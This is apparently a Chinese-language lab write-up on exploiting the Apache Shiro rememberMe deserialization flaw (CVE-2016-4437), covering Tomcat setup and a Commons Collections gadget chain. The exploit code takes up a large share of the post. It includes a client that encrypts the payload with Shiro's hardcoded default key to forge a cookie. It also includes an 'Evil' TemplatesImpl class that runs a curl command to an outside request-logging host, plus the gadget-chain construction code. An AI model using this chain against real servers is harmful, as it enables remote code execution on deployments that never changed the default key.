前言: 调了几条CC链,目前还差CC4这条关键链子就圆满了,不过缓缓,咱学学一些具体的反序列化场景,比如,老生常谈的Shiro反序列化漏洞。 对于这个漏洞,我们需要知道的是,了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在CookierememberMe字段中,由于Shiro在处理Cookie时,会对其中的rememberMe字段解密并反序列化,而我们能控制这个字段的内容,如果知道key,可以伪造,那么可以实现反序列化漏洞用我们的gadget链,拿到shell 而在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞
环境搭建: Shirodemo 具体代码可以在Shirodemo 下载 打包成war包即可
Tomcat 这也是我第一次配置tomcat,绕了点弯路,但是总体是顺利的 1、Tomcat 下载 2、解压到指定目录(自定义) 3、配置环境变量 我开始用Tomcat10,但是启动闪退,发现是jdk问题,因此改成jdk11,又因为看logs发现Shirodemo无法在tomcat10运行,当然看报错改源码就行了,不过这里选择直接换成Tomcat9,后来用Tomcat9就正常了 jdk就不说了 新建系统变量,变量名为 CATALINA_HOME,变量值为刚才安装Tomcat的路径 修改系统变量的path变量,在系统变量栏里找到path,双击打开,选择新建,值为 %CATALINA_HOME%\bin,点击确定 4、启动tomcat 点击bin目录下的startup.bat启动tomcat 5、访问http://localhost:8080/,看到tomcat的欢迎页成功 6、部署war包 将war包复制到webapps目录下 7、访问http://localhost:8080/shirodemo
漏洞利用 攻击过程如下:
使用以前学过的CommonsCollections利用链生成一个序列化Payload
使用Shiro默认Key进行加密
将密文作为rememberMe的Cookie发送给服务端
服务端收到Cookie后,解密并反序列化,触发反序列化漏洞
成功getshell
我们抓包看看请求包的样子 登录成功给我们生成了个Cookie 当然关键还是在这个gadget链的生成
生成gadget链 先试试最后成功的payload 使用了javassist工具(第三方工具类,把恶意类字节码加载进TemplatesImpl),并在CC6中把payload中的 数组去除掉了 具体代码实现如下
Client 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 package com.example;import javassist.ClassPool;import javassist.CtClass;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.io.ByteArrayInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;public class Client0 { public static void main (String []args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(com.example.Evil.class.getName()); byte [] payloads = new CommonsCollectionsShiro ().getPayload(clazz.toBytecode()); AesCipherService aes = new AesCipherService (); byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource ciphertext = aes.encrypt(payloads, key); String rememberMe=ciphertext.toBase64(); System.out.printf(rememberMe); FileOutputStream fos = new FileOutputStream ("ser.bin" ); fos.write(rememberMe.getBytes()); ByteSource decrypted = aes.decrypt( java.util.Base64.getDecoder().decode(rememberMe), key); byte [] objBytes = decrypted.getBytes(); System.out.println("[+] Start unserialize..." ); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (objBytes)); Object obj = ois.readObject(); ois.close(); System.out.println("[+] Unserialize finished, object=" + obj.getClass().getName()); } }
在用默认密钥生成base64编码基础上,又实现了一个指定解码本地并反序列化功能,确保我们前段payload功能正常
Evil 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package com.example;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Evil extends AbstractTranslet { public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public Evil () { super (); try { Runtime.getRuntime().exec("curl http://requestbin.cn:80/wtyenvwt" ); } catch (IOException e) { throw new RuntimeException (e); } } }
这里CommonsCollectionsShiro类先不亮出来卖个关子 尝试运行Client.java 得到paylaod
1 z5if+JddXoi9xdzt80pQLE/Y7dwYuE......
看到第一条出网记录,说明命令执行正常 抓包,改rememberMe 发现并无记录,payload没问题,怀疑是环境错了 这里选择换成vulhub/vulhub/shiro/CVE-2010-3863
等待环境配置… 趁这个去看看新链的构造 注意到它处理数组的方式 利用到了TemplatesImpl类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{clazzBytes}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer transformer = new InvokerTransformer ("getClass" , null , null );Map innerMap = new HashMap ();Map outerMap = LazyMap.decorate(innerMap, transformer);TiedMapEntry tme = new TiedMapEntry (outerMap, obj);Map expMap = new HashMap ();expMap.put(tme, "valuevalue" ); outerMap.clear(); setFieldValue(transformer, "iMethodName" , "newTransformer" );
最关键的还是如何用InvokerTransformer类执行这个TemplatesImpl类的newTransformer方法TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
回顾一下TieMapEntry这个CC6的关键类
1 2 3 4 5 6 7 8 9 public Object get (Object key) {if (map.containsKey(key) == false ) {Object value = factory.transform(key);map.put(key, value); return value;} return map.get(key);}
以往我们不在乎这个key的,并且为了防止生成过程中造成阻碍,我们需要在最后remove它 但是现在,我们需要这个key 可以实现一种效果,类似ConstantTrasnformer类返回TemplateImpl的对象
1 2 3 4 5 在ysoserial的利用链中,关于transform函数接收的input存在两种情况。 1. 配合ChainedTransformerInvokerTransformer往往同ChainedTransformer配合,循环构造Runtimt.getRuntime().exec。很明显,这里我们无法利用了。 2. 无意义的String这里的无意义的String指的是传入到ConstantTransformer.transform函数的input,该transform函数不依赖input,而直接返回iConstant
这样可以绕过数组了 之前用remove,现在用clear,这点不太明白,等学完CC链回头看看 有点炸裂了,搭好之后payload没反应,算了,payload逻辑就是这样 这样处理和前面很适配
Shiro反序列化工具 还是非常好用的() 这里也推荐一个工具 ysoserial里面很多payload,可以拿来学习
总结 大抵关于CVE-2016-4437就是这样了,java链子学起来还挺有意思的,不嗦了,去调试去了